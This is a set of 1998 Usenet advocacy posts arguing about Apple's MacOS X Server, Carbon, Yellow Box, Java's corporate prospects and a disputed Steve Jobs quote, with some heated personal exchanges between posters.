References: <36099217.345010578@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de><pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.com> <361AB985.AE669F81@nstar.net> <01bdf1a2$79d91df0$06387880@chewy> <361AFD8E.E52C04D6@nstar.net> <slrn71nhub.3p2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361BD074.B99A3712@ericsson.com>
Date: Wed, 07 Oct 1998 23:48:19 GMT
NNTP-Posting-Date: Wed, 07 Oct 1998 16:48:19 PDT
In article <361BD074.B99A3712@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>
> One could have had all YB apps with pervasive Services and integrated
> apps and EOF and crazy-sniffable OpenStep features with a Blue Box for
> backward compatibility, and the other could have had System 7 and Carbon
> apps running side-by-side,
Wrong. The whole point of carbon is that it *is* the current MacOS minus
everything that prevented implementing PMT and PM for the MacOS. The idea
of System 7 and Carbon apps running side-by-side in a cooperatively
scheduled environment is ridiculous. Is that not what you meant?
The idea of System 7 apps (running cooperatively in one address space,
"BlueBox"), Carbon apps running pre-emptively in their own address space,
YB apps running pre-emptively in their own address space (or not, no one
is going to force you to run YB apps), and *optional*
BSD/MkLinux/any-other-OS you care to port to the microkernel architecture
(whether provided by Apple or some third party -- possibly even open
source, so you can tweak the code yourself) is not so ridiculous. And
it's called "MacOS X." Funny, seems to me like everyone wins here.
BTW, is there any reason at all that this is cross-posted to
java.lang.advocacy, other than to give everyone here a chuckle at your
flaming?
No offense meant.
Dave
Message-ID: <361CBEC7.904C94FE@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vg59f$n46$1@nnrp1.dejanews.com> <361BBA99.D34D864D@ericsson.com> <6vgq9o$2jb$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: Thu, 08 Oct 1998 09:32:42 EDT
Organization: ISPNews http://ispnews.com
Date: Thu, 08 Oct 1998 08:31:51 -0500
Charles Swiger wrote:
> That's right. The problems you were having were understandable from someone
> who did not understand Unix (specificly BSD 4.x) system administration. Of
> course, you never bothered to ask for help or even RTFM-- you just blamed the
> system.
Actually, you remember wrong. The problem I was having was specifically
with BackSpace, which experienced a buffer-overrun that couldn't be
cleared out and thus locked up the system. Not being a developer, I
can't test the system on any basis other than the apps that run on it
(and are presumably based on its libraries). The only explanation I got
was "you idiot, the apps are at fault, NeXTstep isn't".
Then I got a lot of people saying "if it was such a problem, why didn't
you just telnet in and kill the process?" I explained that because the
remote ttys were secure, and the process was run from the root account,
and I had no idea how to use 'su' on the BSD system, I could not solve
my problem this way.
I also explained that I would have been happy to RTFM but that I didn't
have any man pages, since I had a User's Release of 3.3, and that I had
spent several hours scouring the Apple Web pages for the requisite
information but had failed to locate it.
A matter of public record, of course.
> > Your posts have a unique way of displaying just what kind of person you
> > are.
>
> Certainly. I normally have someone (or several people) thank me on a daily
> basis for my contributions to the NeXT newsgroups.
That's more than I needed to know, thanks. What I already knew was that
*I* have thanked you on several occasions for your contributions. That
hasn't seemed to make any difference in the overall evaluation, which is
ironic since I have always considered you an intelligent and experienced
individual. Unfortunately, that doesn't always earn you the plaudits you
appear to crave.
> Or were you trying to insinuate something else?
Obviously, you disagree.
> > It didn't take long to figure you out, Chuck.
>
> Good for you.
>
> Try a little introspection next-- do you admire the way you appear around this
> neck of Usenet? Do you make contributions that people thank you for? Do you
> accomplish anything of value at all?
In light of the fact that I'm not fishing for praise and admiration, I
don't think it's necessary to measure my goals by the number of
thank-yous and "right on, brother" messages. One rarely expects such
things from those with whom one disagrees, but it happens on rare
occasions.
Maybe that's what you're basically after, in which case you have my
blessing to post whatever you like as long as it boosts your
self-esteem. I don't want to get in the way of that.
MJP
From: fungus <spam@egg.chips.and.spam.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 00:16:23 +0200
Organization: SERVICOM
Message-ID: <361BE837.F4EADDB7@egg.chips.and.spam.com>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com>
<361ad8a0.0@news.depaul.edu> <6vfskd$4dv$1@nnrp02.primenet.com> <361B827D.94E253C6@tisny.com>
Mime-Version: 1.0
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Mike Spille wrote:
>
> Big corporations are getting hot and bothered about Java because
> migration between different levels is signficantly easier if all
> your levels speak Java to some extent.
>
You only have to look at IBM's Java commitment to see this. IBM
is investing in Java on a massive scale.
> Given real apples-to-apples choices consumers (and corporations)
> will choose the best for the least cost. Unfortunately for now
> the playing field is far from level.
>
Java gives people the opportunity to level the field at the
software level. After that, the hardware becomes less important.
--
<\___/>
/ O O \
\_____/ FTB.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 22:53:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vgre6$53c$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net> <01bdf1a2$87336410$06387880@chewy> <361AF117.5B4413A9@nstar.net> <6vg5sc$p42$1@nnrp1.dejanews.com> <361BBC68.91048CFB@ericsson.com>
In article <361BBC68.91048CFB@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> And yet you feel free to mischaracterize and falsely attribute remarks you
>> made up as if they were made by Steve Jobs?
>
> Don't know what the hell you're talking about. As you yourself wrote,
> silly:
>
> "It's a waste of time refuting this..."
>
> Next time you want to accuse me of something, spend a few precious
> moments of your time backing the accusation.
My pleasure, hypocrite. Try message-id <361A9F92.1D9F3A3@ericsson.com>,
where, among other statements you attributed to Steve Jobs was:
Jobs: "Milk the MacOS for all it's worth and move on."
Provide a reference where Steve Jobs said that and all of the following
remarks you claimed he said.
Oh, you can't do so? Well, I'm always happy to oblige by backing up my
remarks.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 14:15:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6vihe4$34l@newsb.netnews.att.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.c <361BD074.B99A3712@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>I watched Jobs sweep in and sweep Amelio out. I watched him shoo aside
>the Old Man's ideas and bring his "energy and vision" to the show. In
>truth, he was nothing more than "a lot of talk and a badge", to quote
>DeNiro's Capone.
I came across a report on MacWorld January 1997, while looking for
the "milk the MacOS" quote, that is interesting to read.
In this Information Week article, Stephen Manes writes :
(excerpts) [January 20, 1997][Can anything save Apple ? ]
...Amelio rambled on for more that 2-1/2 hours. ...Instead of
a clear statement of Apple's past mistakes and future plans,
the audience got excuses, platitudes, and cameo appearances by
the likes of Gregory Hines and Sinbad......even I could understand
why Muhammad Ali was there : Like Apple, his best days are sadly
behind him.
Jobs, not Amelio, articulated the company's mission: "To provide
relevant, compelling solutions that customers can only get from
Apple". Did he check his slides with the boss ?...
....On the evidence of Amelio's presentation, Apple's shelves look
suspiciously devoid of the forward-looking stuff the company has
seen as its hallmark.
-arun gupta
From: "John Opitz" <flynnx@hotmail.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Thu, 8 Oct 1998 10:05:52 +1000
Organization: University of Queensland
Message-ID: <6vgvpp$4rv$1@bunyip.cc.uq.edu.au>
References: <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com> <361B4852.C2F4B404@egg.chips.and.spam.com> <slrn71moqk.420.drsmithy@area51.emmanuel.uq.edu.au> <6vfsv9$3op$1@bunyip.cc.uq.edu.au> <slrn71n1rp.5ll.drsmithy@area51.emmanuel.uq.edu.au>
Christopher Smith wrote in message ...
>On Thu, 8 Oct 1998 00:11:31 +1000, John Opitz <flynnx@hotmail.com> wrote:
>>
>>Christopher Smith wrote in message ...
>>>On Wed, 07 Oct 1998 10:54:10 -0100, fungus <spam@egg.chips.and.spam.com>
>>wrote:
>>>>Just Me wrote:
>>>>>
>>>>> Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
>>>>
>>>>Since when did clock speed show how fast a CPU is?
>>>
>>>I can't think of many other ways to indicate how fast *a CPU* is :).
>>>
>>
>>
>>MIPS perhaps?
>>The fact that the number of cycles needed per instruction varies between
CPU
>>architectures basically renders any comparison between CPU based on clock
>>speed meaningless.
>
>Meaningless Indication of Processor Speed ?
>The fact that each processor architecture has a differing amount of "work"
that
>can be completed in any given instruction basically renders any comparison
>between CPUs based on how many instructions they can execute in a given
time
>meaningless.
>
heh, agreed.
Benchmarks are a troublesome thing...... but I don't think clock speed is a
reasonable indication at all. Hmmm, perhaps I missed that smiley face on the
end!
I'll try again:
SPEC results, perhaps? But you don't like benchmarks except for Quake, do
you Chris! :)
Cheers,
John.
From: Mike Spille <mspille@tisny.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 09:18:06 -0500
Organization: Transaction Information Systems
Message-ID: <361C8300.31A5ECDD@tisny.com>
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John C. Randolph wrote:
>
> fungus may or may not have said:
> -> Mike Spille wrote:
> -> >
> -> > Big corporations are getting hot and bothered about Java because
> -> > migration between different levels is signficantly easier if all
> -> > your levels speak Java to some extent.
> -> >
> ->
> -> You only have to look at IBM's Java commitment to see this. IBM
> -> is investing in Java on a massive scale.
>
> That's why Im convinced that Java is doomed. The last project that IBM had
> thousands of people working on was Office Vision (remember?) and that burned
> up 900 million dollars before they pulled the plug.
>
A major difference is that this is not an IBM-only initiative. They are
merely one player in a larger market, and signifcantly IBM is mostly
playing by the rules. Most failed IBM projects were ones where IBM
was the primary (or only) "champion of the cause".
> -jcr
>
> --
>
> What the Bard *should* have said: "All the World's a Stage, and
> all the Men and Women rather poorly rehearsed."
-Mike
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 14:37:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6viinc$370@newsb.netnews.att.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.c <361BD074.B99A3712@ericsson.com>
Originator: gupta@tlctest
Excerpts :
Computer Weekly, Feb 18, 1993
Picking up the pieces of a shattered dream.
"It has taken seven years for Jobs to realise that not all users
are willing to go through the no-pain-no-gain scenario and drop
their existing computers in order to buy a NeXT workstation.
"His leadership of NeXT is described as "having it all. The money,
the technology and the ideas, but not the business skills to
make it a success."
****
Maclean's Jan 13, 1997
Can Jobs save Apple.
"I gotta tell you, multi-platform compatibility ain't what it
used to be," the mercurial Jobs siad in the January 1996 issue
of Red Herring, a San Francisco-based magazine that covers
the computer industry. "Windows has won. It beat the Mac.
And there is no changing that."
-arun gupta
Date: Thu, 08 Oct 1998 10:11:50 -0500
From: alex@WebIS.net (Alex Kac)
Subject: Re: Mac OS X server delays
Message-ID: <alex-0810981011500001@cs48-149.austin.rr.com>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
In article <6vhtq2$r5o$1@nnrp1.dejanews.com>, Nepenthe@my-dejanews.com wrote:
>could the delay in OSX Server be due to apple wishing to impliment a fully
>functional Mac OS 8.5 blue box for its debut?
>
>does anyone consider this at all likely?
>
I'm hoping its because of user feedback of the monstrosity that became the
"Yellow Finder". It was horrible, hard to use, and made me go to the
command line for MOST things. About all it was good for was launching
apps. I'm hoping they'll put in a good ol' Apple Mac OS X Finder in there.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: esmalling@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Source code for Quake II (OpenStep?)
Date: Thu, 08 Oct 1998 15:22:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vilca$ts0$1@nnrp1.dejanews.com>
Regarding StepWise's report of Quake II for MacOS X Server being ported in
just 3 days ( http://www.stepwise.com/PR/981007-01.html )
Do you think the source code Omni got was already OpenStep/Obj-C ? When did
id go from using NEXTSTEP as their development platform to Win32?
Just curious.
-Eric S.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 15:31:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vils3$urk$1@nnrp1.dejanews.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl>
In article <6vgioe$8j5$1@pascal.a2000.nl>,
"Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl> wrote:
> In article <6vgf9d$fv4$1@nnrp1.dejanews.com> , "Charles Swiger"
> <chuck@codefab.com> wrote:
>
> >Exactly what do you think Carbon is?
> >(Hint: it's not a wrapper.)
>
> I don't see your point.
Wrappers are a middle layer that redirects calls (usually from a portable
application layer to the system-specific functionality provided by the host).
A classic example is a GUI middleware layer like XVT, under which your code
GUI calls to XVT, which then calls X11 on a Unix box, or the Toolbox on a
Mac, or Win32 on a Windows box. Thus, your GUI program will run on all of
these platforms.
Major downsides to wrappers are they are slower, and the abstraction they do
often makes it difficult (or impossible) to implement all the details and
native look-n-feel desirable-- so XVT-based apps look blander and more generic
than native ones, for example.
Carbon isn't a wrapper. It doesn't suffer from the above problems.
> The less it is a wrapper, the more work will have to
> be done, and the stronger I feel about my original point. Whatever Carbon
> is, or may be, or will become, any apps that anyone ports to it will need
> more testing than just "Carbon dating". With no environment to test in, this
> is a problem.
Someone with a classic MacOS app doesn't have to "port" to Carbon. They
simply have to clean up the crufty non-portable stuff and possibly use some
updated Carbon replacement calls in place of older Toolbox routines that are
now being deprecated.
As I said to someone else in email, the type and amount of work involved is
more comparible to moving from an K&R-based C program to ANSI.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 01:28:14 GMT
Organization: Idiom Communications
Message-ID: <6vh4fe$bvh$2@news.idiom.com>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net>
<slrn71l49m <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com>
<361ABD55.870F151B@nstar.net> <01bdf1a2$87336410$06387880@chewy>
<361AF117.5B4413A9@nstar.net> <6vg5sc$p42$1@nnrp1.dejanews.com>
<361BBC68.91048CFB@ericsson.com> <6vgre6$53c$1@nnrp1.dejanews.com>
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Cc: chuck@codefab.com
"Charles Swiger" may or may not have said:
-> In article <361BBC68.91048CFB@ericsson.com>,
-> Michael Peck <Michael.Peck@ericsson.com> wrote:
-> > Charles Swiger wrote:
-> >> And yet you feel free to mischaracterize and falsely attribute remarks
you
-> >> made up as if they were made by Steve Jobs?
-> >
-> > Don't know what the hell you're talking about. As you yourself wrote,
-> > silly:
-> >
-> > "It's a waste of time refuting this..."
-> >
-> > Next time you want to accuse me of something, spend a few precious
-> > moments of your time backing the accusation.
->
-> My pleasure, hypocrite. Try message-id <361A9F92.1D9F3A3@ericsson.com>,
-> where, among other statements you attributed to Steve Jobs was:
->
-> Jobs: "Milk the MacOS for all it's worth and move on."
->
-> Provide a reference where Steve Jobs said that and all of the following
-> remarks you claimed he said.
->
-> Oh, you can't do so? Well, I'm always happy to oblige by backing up my
-> remarks.
I remember that statement, and it was in the Wired interview he gave some
time before the merger. At that time he also said (roughly): the desktop
wars are over, and Apple lost.
Of course, at the time, he had no idea that he might ever be in charge of
Apple again.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 01:42:24 GMT
Organization: Primenet (602)416-7000
Message-ID: <6vh5a0$8fp$1@nnrp03.primenet.com>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com>
<361ad8a0.0@news.depaul.edu> <6vfskd$4dv$1@nnrp02.primenet.com> <361B827D.94E253C6@tisny.com> <361BE837.F4EADDB7@egg.chips.and.spam.com> <6vh4im$bvh$3@news.idiom.com>
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
: -> You only have to look at IBM's Java commitment to see this. IBM
: -> is investing in Java on a massive scale.
: That's why Im convinced that Java is doomed. The last project that IBM had
: thousands of people working on was Office Vision (remember?) and that burned
: up 900 million dollars before they pulled the plug.
One nice thing about the current effort is that they release small pieces
(jikes, etc.) as they can. That seems like a workable way to use large
amounts of resources. I don't know about Office Vision, but if it was one
of those "big bang" procjects that is supposed to be released when
everybody finishes, I can understand the difficulty.
John
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 5 Oct 1998 18:43:36 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6vb40o$70j$1@news.spacelab.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v36or$59g$1@news.spacelab.net> <3616232A.F5F36B0@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
"Michael J. Peck" <mjpeck@nstar.net> wrote:
>Charles W. Swiger wrote:
[ ... ]
>> Why "must" Sal's comment be a retraction?
>>
>> You appear to be claiming that his current statements disagree with his
>> earlier ones, yet there is no contradiction between them.
>
>There is no contradiction between "Apple will provide a user experience
>on Windows that meets Windows UI guidelines...how useful would YB/NT be
>if Apps...didn't earn the NT logo?" and "you do not have to stick to the
>win UI to earn the logo"?
There is no contradiction.
> What's the explanation? I'm all ears.
It's pretty complicated, Mike. If a program meets all of the firm ("must")
requirements, it earns the logo. Apple's YellowBox allows developers to
create applications which can do so.
However, some guidelines-- in UI and in other areas-- are strong
recommendations ("should"), and others are simply recommendations ("may").
An application may earn the logo even if it does not pass all of these
optional requirements.
[ ... ]
>> There's no contradiction here, either-- at least if you manage to grasp
>> the difference between present and future.
>>
>> Right now, the runtime is not free because Apple owes royalties to third
>> parties.
>
> Sounds like you're the one injecting this distinction between present
> and future, which is nowhere present in Sal's posting, nor is it
> relevant.
Wrong. Absolutely wrong.
The context for Sal's first statement was the current situation. The context
for statement #2 was Sal paraphrasing Apple's FAQ, which was explicitly
talking about the future plans and direction for the YellowBox.
> There is no contradiction between "Apple has committed to
> providing a free runtime" and "Apple can not promise a free runtime"?
When you remove enough context by selectively quoting, sure, there's a
contradiction. It's one you've manufactured yourself. If you weren't
playing these petty rhetorical games by cutting someone's sentence in half,
it would be:
"The FAQ also states that Apple has commited to providing a free runtime."
What time frame is this (a "free YB runtime") in reference to?
What time frame is the situation where Apple owes royalties for the YB?
>> You're consistent. Not being concerned about the opinions of others
>> and a lack of courtesy are well correlated.
>
>Such wit!
I wasn't being witty. I think the phrase is "ha ha only serious".
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 01:29:58 GMT
Organization: Idiom Communications
Message-ID: <6vh4im$bvh$3@news.idiom.com>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169>
<slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu>
<361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com>
<361ad8a0.0@news.depaul.edu> <6vfskd$4dv$1@nnrp02.primenet.com>
<361B827D.94E253C6@tisny.com> <361BE837.F4EADDB7@egg.chips.and.spam.com>
Mime-Version: 1.0
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Cc: spam@egg.chips.and.spam.com
fungus may or may not have said:
-> Mike Spille wrote:
-> >
-> > Big corporations are getting hot and bothered about Java because
-> > migration between different levels is signficantly easier if all
-> > your levels speak Java to some extent.
-> >
->
-> You only have to look at IBM's Java commitment to see this. IBM
-> is investing in Java on a massive scale.
That's why Im convinced that Java is doomed. The last project that IBM had
thousands of people working on was Office Vision (remember?) and that burned
up 900 million dollars before they pulled the plug.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 10:51:13 -0500
Organization: Ericsson North America Inc.
Message-ID: <361CDF71.E8ACE9D3@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.c <361BD074.B99A3712@ericsson.com> <6viinc$370@newsb.netnews.att.com>
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Last quote, I promise.
From Henry Norr's column in MacWEEK, a week or so before the keynote,
concerning the choice of NeXTstep of BeOS, Windows NT, and Java-based
alternatives:
"A big part of Apple's challenge is to get customers and developers
excited about the platform again. Next's software technology has been on
the market since 1989, and though it's widely respected for its
technical merits, it certainly hasn't taken any markets by storm.
Apple CEO Gil Amelio tried to address this issue during the announcement
of the deal by pointing out that some technologies appear before their
time and therefore aren't fully appreciated until the world catches up.
That's true enough, but it's still going to be a tough sell to convince
the development community and the general public that a decade-old OS is
the vehicle that will enable Apple to leapfrog newer systems (including
not only Windows NT, but also the BeOS and various Java-based schemes).
Concretely, it's easy to see what the BeOS brings to the Mac: One has
only to open a few windows to appreciate that it unleashes the potential
of the PowerPC, or to fire up a few movies to understand how well
adapted it is to the age of multimedia. As Amelio pointed out in making
the announcement, the Next system is undoubtedly more mature, tested,
and complete than the BeOS. and as Jobs emphasized, it clearly has a lot
of appeal to programmers."
[MJP: Note that, according to Jobs, a major selling point its NeXTstep's
attractiveness to developers]
"Unfortunately, however, those virtues don't readily lend themselves to
eye-catching demos. NeXTstep does have an elegant user interface - more
refined even than the Mac OS, not to mention the BeOS or Windows. But
with GUIs now taken for granted, and interest now focused on
browser-based interface innovations, I'm not convinced that a superior
desktop sells systems.
It's not that I favor sizzle over substance, but part of what Apple
needs is a way to turn the heads of potential customers who've already
dismissed the Mac as a dying platform. Somehow it's going to have to
find ways to communicate quickly and clearly just why an environment
that's languished for nearly a decade in relative obscurity now deserves
to be considered a cutting-edge alternative for the new millennium."
[MJP: Yes. An alternative that, 21 months later, still hasn't
materialized. I can't even count to 21 on all my fingers and toes...]
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 11:13:44 -0500
Organization: Ericsson North America Inc.
Message-ID: <361CE4B8.D20DD538@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.c <361BD074.B99A3712@ericsson.com> <6vihe4$34l@newsb.netnews.att.com>
Mime-Version: 1.0
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> I came across a report on MacWorld January 1997, while looking for
> the "milk the MacOS" quote, that is interesting to read.
>
> In this Information Week article, Stephen Manes writes :
> (excerpts) [January 20, 1997][Can anything save Apple ? ]
>
> ...Amelio rambled on for more that 2-1/2 hours. ...Instead of
> a clear statement of Apple's past mistakes and future plans,
> the audience got excuses, platitudes, and cameo appearances by
> the likes of Gregory Hines and Sinbad......even I could understand
> why Muhammad Ali was there : Like Apple, his best days are sadly
> behind him.
>
> Jobs, not Amelio, articulated the company's mission: "To provide
> relevant, compelling solutions that customers can only get from
> Apple". Did he check his slides with the boss ?...
>
> ....On the evidence of Amelio's presentation, Apple's shelves look
> suspiciously devoid of the forward-looking stuff the company has
> seen as its hallmark.
Ah, I found part of what I was looking for:
From Mac The Knife, early January column entitled "Oh, What a Knife":
"Although he'd have to feel better to die, the Knife is probably still a
happier camper than Apple CEO Gilbert Amelio was during his expo
keynote. Many spectators were struck by the length and formlessness of
Dr. Gil's address, apparently cribbed from the Fidel Castro school of
public speaking. And where the heck was Steve Jobs for the first two
hours of the presentation?
"While most of the crowd might chalk up the current CEO's ramblings to
simple megalomania, a few die-hard conspiracy theorists offered an
alternative explanation: Like all great tragic heroes, the good doctor
was as much a captive as his audience. Mr. Jobs' plane was delayed, and
Dr. Amelio was left twisting slowly in the wind for an eternity before
the prodigal son could join him on stage.
"Take it from Big Steve: Those commuter flights from Redwood City,
Calif., can be hell!"
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 8 Oct 98 10:07:32 -0700
